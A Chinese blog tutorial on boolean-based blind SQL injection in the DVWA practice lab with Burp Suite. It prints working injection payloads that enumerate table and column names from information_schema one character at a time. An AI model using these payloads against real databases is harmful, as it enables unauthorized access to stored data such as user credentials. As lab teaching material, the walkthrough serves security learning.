SQL注入的原理与攻防实战4

最新推荐文章于 2025-04-13 11:41:57 发布

跟着宝宝努力学习深度学习

最新推荐文章于 2025-04-13 11:41:57 发布

阅读量78

点赞数

CC 4.0 BY-SA版权

文章标签： sql 数据库 oracle

本文链接：https://blog.youkuaiyun.com/jdk12123/article/details/132020288

本文介绍了在dvwa靶场中使用burpsuite进行SQL盲注入的实践，通过布尔型盲注获取数据库名称后，进一步获取了表名guestbookusers，并展示了如何利用工具抓包来判断字段名，最终揭示了账号密码信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

上期回顾

上期我们简单介绍了SQL盲注入的相关知识，以及盲注入之一的基于布尔型的盲注入，并且根据burp suite进行了数据库名称的获取，本章我们将利用burp suite进行其他信息的获取。

1：实验环境：

dvwa靶场(low)，burp suite，火狐浏览器

2：抓包测试：

打开火狐浏览器：

1'and if(substring((select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)--+
利用上述代码去抓包

然后按下图所示设置好变量：

在这里插入图片描述
设置好payload之后提交攻击，筛选200得到下图：

在这里插入图片描述
获取表名 guestbook users

目前已知：dvwa库下有两个表：guestbook users
接下来我们尝试获取字段名：
1’and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘users’ and TABLE_SCHEMA=database() limit 0,1),1,1)=‘i’,1,0)–+

当前库的表的第一个列字符是否等于 i ,如果等于 i ,返回正则页面,否则返回错误页面。

然后利用burp suite进行抓包：

在这里插入图片描述